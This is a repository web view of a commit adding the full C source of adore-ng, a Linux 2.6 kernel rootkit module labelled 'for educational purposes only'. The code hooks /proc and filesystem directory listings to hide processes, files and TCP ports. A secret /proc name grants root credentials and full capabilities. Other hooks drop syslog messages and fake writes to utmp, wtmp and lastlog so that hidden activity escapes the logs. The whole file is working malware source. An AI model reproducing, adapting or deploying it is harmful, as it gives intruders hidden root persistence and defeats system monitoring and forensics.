summaryrefslogtreecommitdiff
path: root/other/adore-ng/adore-ng-2.6.c
diff options
context:
space:
mode:
Diffstat (limited to 'other/adore-ng/adore-ng-2.6.c')
-rw-r--r--other/adore-ng/adore-ng-2.6.c604
1 files changed, 604 insertions, 0 deletions
diff --git a/other/adore-ng/adore-ng-2.6.c b/other/adore-ng/adore-ng-2.6.c
new file mode 100644
index 0000000..c0a30f7
--- /dev/null
+++ b/other/adore-ng/adore-ng-2.6.c
@@ -0,0 +1,604 @@
1/*** (C) 2004 by Stealth
2 ***
3 *** http://spider.scorpions.net/~stealth
4 *** http://stealth.7350.org/rootkits
5 ***
6 ***
7 *** (C)'ed Under a BSDish license. Please look at LICENSE-file.
8 *** SO YOU USE THIS AT YOUR OWN RISK!
9 *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS.
10 *** !!! FOR EDUCATIONAL PURPOSES ONLY !!!
11 ***
12 *** -> Use ava to get all the things workin'.
13 ***
14 ***/
15#define __KERNEL__
16#define MODULE
17
18#define LINUX26
19
20#ifdef MODVERSIONS
21#include <linux/modversions.h>
22#endif
23
24#include <linux/config.h>
25#include <linux/types.h>
26#include <linux/sched.h>
27#include <linux/kernel.h>
28#include <linux/module.h>
29#include <linux/string.h>
30#include <linux/fs.h>
31#include <linux/file.h>
32#include <linux/mount.h>
33#include <linux/proc_fs.h>
34#include <linux/capability.h>
35#include <linux/spinlock.h>
36#include <linux/pid.h>
37#include <linux/init.h>
38#include <linux/seq_file.h>
39
40#include <net/sock.h>
41#include <linux/un.h>
42#include <net/af_unix.h>
43#include <linux/aio.h>
44
45#include "adore-ng.h"
46
47
48char *proc_fs = "/proc"; /* default proc FS to hide processes */
49MODULE_PARM(proc_fs, "s");
50char *root_fs = "/"; /* default FS to hide files */
51
52MODULE_PARM(root_fs, "s");
53char *opt_fs = NULL;
54MODULE_PARM(opt_fs, "s");
55
56
57typedef int (*readdir_t)(struct file *, void *, filldir_t);
58readdir_t orig_root_readdir=NULL,orig_opt_readdir=NULL,orig_proc_readdir=NULL;
59
60struct dentry *(*orig_proc_lookup)(struct inode *, struct dentry *,
61 struct nameidata *) = NULL;
62
63
64static void adore_cleanup();
65
66
67#ifndef PID_MAX
68#define PID_MAX 0x8000
69#endif
70
71static char hidden_procs[PID_MAX/8+1];
72
73inline void hide_proc(pid_t x)
74{
75 if (x >= PID_MAX || x == 1)
76 return;
77 hidden_procs[x/8] |= 1<<(x%8);
78}
79
80inline void unhide_proc(pid_t x)
81{
82 if (x >= PID_MAX)
83 return;
84 hidden_procs[x/8] &= ~(1<<(x%8));
85}
86
87inline char is_invisible(pid_t x)
88{
89 if (x >= PID_MAX)
90 return 0;
91 return hidden_procs[x/8]&(1<<(x%8));
92}
93
94/* Theres some crap after the PID-filename on proc
95 * getdents() so the semantics of this function changed:
96 * Make "672" -> 672 and
97 * "672|@\" -> 672 too
98 */
99int adore_atoi(const char *str)
100{
101 int ret = 0, mul = 1;
102 const char *ptr;
103
104 for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)
105 ;
106 ptr--;
107 while (ptr >= str) {
108 if (*ptr < '0' || *ptr > '9')
109 break;
110 ret += (*ptr - '0') * mul;
111 mul *= 10;
112 ptr--;
113 }
114 return ret;
115}
116
117/* Own implementation of find_task_by_pid() */
118struct task_struct *adore_find_task(pid_t pid)
119{
120 struct task_struct *p;
121
122 read_lock(&tasklist_lock);
123 for_each_task(p) {
124 if (p->pid == pid) {
125 read_unlock(&tasklist_lock);
126 return p;
127 }
128 }
129 read_unlock(&tasklist_lock);
130 return NULL;
131}
132
133int should_be_hidden(pid_t pid)
134{
135 struct task_struct *p = NULL;
136
137 if (is_invisible(pid)) {
138 return 1;
139 }
140
141 p = adore_find_task(pid);
142 if (!p)
143 return 0;
144
145 /* If the parent is hidden, we are hidden too XXX */
146 task_lock(p);
147
148 if (is_invisible(p->parent->pid)) {
149 task_unlock(p);
150 hide_proc(pid);
151 return 1;
152 }
153
154 task_unlock(p);
155 return 0;
156}
157
158/* You can control adore-ng without ava too:
159 *
160 * echo > /proc/<ADORE_KEY> will make the shell authenticated,
161 * echo > /proc/<ADORE_KEY>-fullprivs will give UID 0,
162 * cat /proc/hide-<PID> from such a shell will hide PID,
163 * cat /proc/unhide-<PID> will unhide the process
164 */
165struct dentry *adore_lookup(struct inode *i, struct dentry *d,
166 struct nameidata *nd)
167{
168 task_lock(current);
169
170 if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) {
171 current->flags |= PF_AUTH;
172 current->suid = ADORE_VERSION;
173 } else if ((current->flags & PF_AUTH) &&
174 strncmp(d->d_iname, "fullprivs", 9) == 0) {
175 current->uid = 0;
176 current->suid = 0;
177 current->euid = 0;
178 current->gid = 0;
179 current->egid = 0;
180 current->fsuid = 0;
181 current->fsgid = 0;
182
183 cap_set_full(current->cap_effective);
184 cap_set_full(current->cap_inheritable);
185 cap_set_full(current->cap_permitted);
186 } else if ((current->flags & PF_AUTH) &&
187 strncmp(d->d_iname, "hide-", 5) == 0) {
188 hide_proc(adore_atoi(d->d_iname+5));
189 } else if ((current->flags & PF_AUTH) &&
190 strncmp(d->d_iname, "unhide-", 7) == 0) {
191 unhide_proc(adore_atoi(d->d_iname+7));
192 } else if ((current->flags & PF_AUTH) &&
193 strncmp(d->d_iname, "uninstall", 9) == 0) {
194 cleanup_module();
195 }
196
197 task_unlock(current);
198
199 if (should_be_hidden(adore_atoi(d->d_iname)) &&
200 /* A hidden ps must be able to see itself! */
201 !should_be_hidden(current->pid))
202 return NULL;
203
204 return orig_proc_lookup(i, d, nd);
205}
206
207
208filldir_t proc_filldir = NULL;
209spinlock_t proc_filldir_lock = SPIN_LOCK_UNLOCKED;
210
211int adore_proc_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
212{
213 if (should_be_hidden(adore_atoi(name)))
214 return 0;
215 return proc_filldir(buf, name, nlen, off, ino, x);
216}
217
218
219
220int adore_proc_readdir(struct file *fp, void *buf, filldir_t filldir)
221{
222 int r = 0;
223
224 spin_lock(&proc_filldir_lock);
225 proc_filldir = filldir;
226 r = orig_proc_readdir(fp, buf, adore_proc_filldir);
227 spin_unlock(&proc_filldir_lock);
228 return r;
229}
230
231
232filldir_t opt_filldir = NULL;
233struct super_block *opt_sb[1024];
234
235int adore_opt_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
236{
237 struct inode *inode = NULL;
238 int r = 0;
239 uid_t uid;
240 gid_t gid;
241
242 if ((inode = iget(opt_sb[current->pid % 1024], ino)) == NULL)
243 return 0;
244 uid = inode->i_uid;
245 gid = inode->i_gid;
246 iput(inode);
247
248 /* Is it hidden ? */
249 if (uid == ELITE_UID && gid == ELITE_GID) {
250 r = 0;
251 } else
252 r = opt_filldir(buf, name, nlen, off, ino, x);
253
254 return r;
255}
256
257
258int adore_opt_readdir(struct file *fp, void *buf, filldir_t filldir)
259{
260 int r = 0;
261
262 if (!fp || !fp->f_vfsmnt)
263 return 0;
264
265 opt_filldir = filldir;
266 opt_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;
267 r = orig_opt_readdir(fp, buf, adore_opt_filldir);
268
269 return r;
270}
271
272
273
274/* About the locking of these global vars:
275 * I used to lock these via rwlocks but on SMP systems this can cause
276 * a deadlock because the iget() locks an inode itself and I guess this
277 * could cause a locking situation of AB BA. So, I do not lock root_sb and
278 * root_filldir (same with opt_) anymore. root_filldir should anyway always
279 * be the same (filldir64 or filldir, depending on the libc). The worst thing that
280 * could happen is that 2 processes call filldir where the 2nd is replacing
281 * root_sb which affects the 1st process which AT WORST CASE shows the hidden files.
282 * Following conditions have to be met then: 1. SMP 2. 2 processes calling getdents()
283 * on 2 different partitions with the same FS.
284 * Now, since I made an array of super_blocks it must also be that the PIDs of
285 * these procs have to be the same PID modulo 1024. This sitation (all 3 cases must
286 * be met) should be very very rare.
287 */
288filldir_t root_filldir = NULL;
289struct super_block *root_sb[1024];
290
291
292
293int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
294{
295 struct inode *inode = NULL;
296 int r = 0;
297 uid_t uid;
298 gid_t gid;
299
300 if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL)
301 return 0;
302 uid = inode->i_uid;
303 gid = inode->i_gid;
304 iput(inode);
305
306 /* Is it hidden ? */
307 if (uid == ELITE_UID && gid == ELITE_GID) {
308 r = 0;
309 } else
310 r = root_filldir(buf, name, nlen, off, ino, x);
311
312 return r;
313}
314
315
316int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir)
317{
318 int r = 0;
319
320 if (!fp || !fp->f_vfsmnt)
321 return 0;
322
323 root_filldir = filldir;
324 root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;
325 r = orig_root_readdir(fp, buf, adore_root_filldir);
326
327 return r;
328}
329
330
331int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir)
332{
333 struct file *filep;
334
335 if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) {
336 return -1;
337 }
338
339 if (orig_readdir)
340 *orig_readdir = filep->f_op->readdir;
341
342 filep->f_op->readdir = new_readdir;
343 filp_close(filep, 0);
344 return 0;
345}
346
347
348int unpatch_vfs(const char *p, readdir_t orig_readdir)
349{
350 struct file *filep;
351
352 if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) {
353 return -1;
354 }
355
356 filep->f_op->readdir = orig_readdir;
357 filp_close(filep, 0);
358 return 0;
359}
360
361
362char *strnstr(const char *haystack, const char *needle, size_t n)
363{
364 char *s = strstr(haystack, needle);
365 if (s == NULL)
366 return NULL;
367 if (s-haystack+strlen(needle) <= n)
368 return s;
369 else
370 return NULL;
371}
372
373
374struct proc_dir_entry *proc_find_tcp()
375{
376 struct proc_dir_entry *p = proc_net->subdir;
377
378 while (strcmp(p->name, "tcp"))
379 p = p->next;
380 return p;
381}
382
383
384#define NET_CHUNK 150
385
386struct tcp_seq_afinfo {
387 struct module *owner;
388 char *name;
389 unsigned short family;
390 int (*seq_show) (struct seq_file *, void *);
391 struct file_operations *seq_fops;
392};
393
394int (*orig_tcp4_seq_show)(struct seq_file*, void *) = NULL;
395
396int adore_tcp4_seq_show(struct seq_file *seq, void *v)
397{
398 int i = 0, r = 0;
399 char port[12];
400
401 r = orig_tcp4_seq_show(seq, v);
402
403 for (i = 0; HIDDEN_SERVICES[i]; ++i) {
404 sprintf(port, ":%04X", HIDDEN_SERVICES[i]);
405
406 /* Ignore hidden blocks */
407 if (strnstr(seq->buf + seq->count-NET_CHUNK,port,NET_CHUNK)) {
408 seq->count -= NET_CHUNK;
409 break;
410 }
411 }
412
413 return r;
414}
415
416static
417int (*orig_unix_dgram_recvmsg)(struct kiocb *, struct socket *, struct msghdr *,
418 size_t, int) = NULL;
419static struct proto_ops *unix_dgram_ops = NULL;
420
421int adore_unix_dgram_recvmsg(struct kiocb *kio, struct socket *sock,
422 struct msghdr *msg, size_t size, int flags)
423{
424 struct sock *sk = NULL;
425 int noblock = flags & MSG_DONTWAIT;
426 struct sk_buff *skb = NULL;
427 int err;
428 struct ucred *creds = NULL;
429 int not_done = 1;
430
431 if (strcmp(current->comm, "syslogd") != 0 || !msg || !sock)
432 goto out;
433
434 sk = sock->sk;
435
436 err = -EOPNOTSUPP;
437 if (flags & MSG_OOB)
438 goto out;
439
440 do {
441 msg->msg_namelen = 0;
442 skb = skb_recv_datagram(sk, flags|MSG_PEEK, noblock, &err);
443 if (!skb)
444 goto out;
445 creds = UNIXCREDS(skb);
446 if (!creds)
447 goto out;
448 if ((not_done = should_be_hidden(creds->pid)))
449 skb_dequeue(&sk->sk_receive_queue);
450 } while (not_done);
451
452out:
453 err = orig_unix_dgram_recvmsg(kio, sock, msg, size, flags);
454 return err;
455}
456
457
458static struct file *var_files[] = {
459 NULL,
460 NULL,
461 NULL,
462 NULL
463};
464
465static char *var_filenames[] = {
466 "/var/run/utmp",
467 "/var/log/wtmp",
468 "/var/log/lastlog",
469 NULL
470};
471
472static
473ssize_t (*orig_var_write)(struct file *, const char *, size_t, loff_t *) = NULL;
474
475static
476ssize_t adore_var_write(struct file *f, const char *buf, size_t blen, loff_t *off)
477{
478 int i = 0;
479
480 /* If its hidden and if it has no special privileges and
481 * if it tries to write to the /var files, fake it
482 */
483 if (should_be_hidden(current->pid) &&
484 !(current->flags & PF_AUTH)) {
485 for (i = 0; var_filenames[i]; ++i) {
486 if (var_files[i] &&
487 var_files[i]->f_dentry->d_inode->i_ino == f->f_dentry->d_inode->i_ino) {
488 *off += blen;
489 return blen;
490 }
491 }
492 }
493 return orig_var_write(f, buf, blen, off);
494}
495
496
497static int patch_syslog()
498{
499 struct socket *sock = NULL;
500
501 /* PF_UNIX, SOCK_DGRAM */
502 if (sock_create(1, 2, 0, &sock) < 0)
503 return -1;
504
505 if (sock && (unix_dgram_ops = sock->ops)) {
506 orig_unix_dgram_recvmsg = unix_dgram_ops->recvmsg;
507 unix_dgram_ops->recvmsg = adore_unix_dgram_recvmsg;
508 sock_release(sock);
509 }
510
511 return 0;
512}
513
514
515static int __init adore_init()
516{
517 struct proc_dir_entry *pde = NULL;
518 struct tcp_seq_afinfo *t_afinfo = NULL;
519 int i = 0, j = 0;
520
521 memset(hidden_procs, 0, sizeof(hidden_procs));
522
523 pde = proc_find_tcp();
524 t_afinfo = (struct tcp_seq_afinfo*)pde->data;
525 if (t_afinfo) {
526 orig_tcp4_seq_show = t_afinfo->seq_show;
527 t_afinfo->seq_show = adore_tcp4_seq_show;
528 }
529
530 orig_proc_lookup = proc_root.proc_iops->lookup;
531 proc_root.proc_iops->lookup = adore_lookup;
532
533 patch_vfs(proc_fs, &orig_proc_readdir, adore_proc_readdir);
534 patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir);
535 if (opt_fs)
536 patch_vfs(opt_fs, &orig_opt_readdir,
537 adore_opt_readdir);
538
539 patch_syslog();
540
541 j = 0;
542 for (i = 0; var_filenames[i]; ++i) {
543 var_files[i] = filp_open(var_filenames[i], O_RDONLY, 0);
544 if (IS_ERR(var_files[i])) {
545 var_files[i] = NULL;
546 continue;
547 }
548 if (!j) { /* just replace one time, its all the same FS */
549 orig_var_write = var_files[i]->f_op->write;
550 var_files[i]->f_op->write = adore_var_write;
551 j = 1;
552 }
553 }
554
555 return 0;
556}
557
558
559static void __exit adore_cleanup()
560{
561 struct proc_dir_entry *pde = NULL;
562 struct tcp_seq_afinfo *t_afinfo = NULL;
563 int i = 0, j = 0;
564 static int cleaned = 0;
565
566 if (cleaned)
567 return;
568
569 pde = proc_find_tcp();
570 t_afinfo = (struct tcp_seq_afinfo*)pde->data;
571 if (t_afinfo && orig_tcp4_seq_show)
572 t_afinfo->seq_show = orig_tcp4_seq_show;
573
574 proc_root.proc_iops->lookup = orig_proc_lookup;
575
576 unpatch_vfs(proc_fs, orig_proc_readdir);
577 unpatch_vfs(root_fs, orig_root_readdir);
578
579 if (orig_opt_readdir)
580 unpatch_vfs(opt_fs, orig_opt_readdir);
581
582 /* In case where syslogd wasnt found in init_module() */
583 if (unix_dgram_ops && orig_unix_dgram_recvmsg)
584 unix_dgram_ops->recvmsg = orig_unix_dgram_recvmsg;
585
586 j = 0;
587 for (i = 0; var_filenames[i]; ++i) {
588 if (var_files[i]) {
589 if (!j) {
590 var_files[i]->f_op->write = orig_var_write;
591 j = 1;
592 }
593 filp_close(var_files[i], 0);
594 }
595 }
596
597 cleaned = 1;
598}
599
600module_init(adore_init);
601module_exit(adore_cleanup);
602
603MODULE_LICENSE("GPL");
604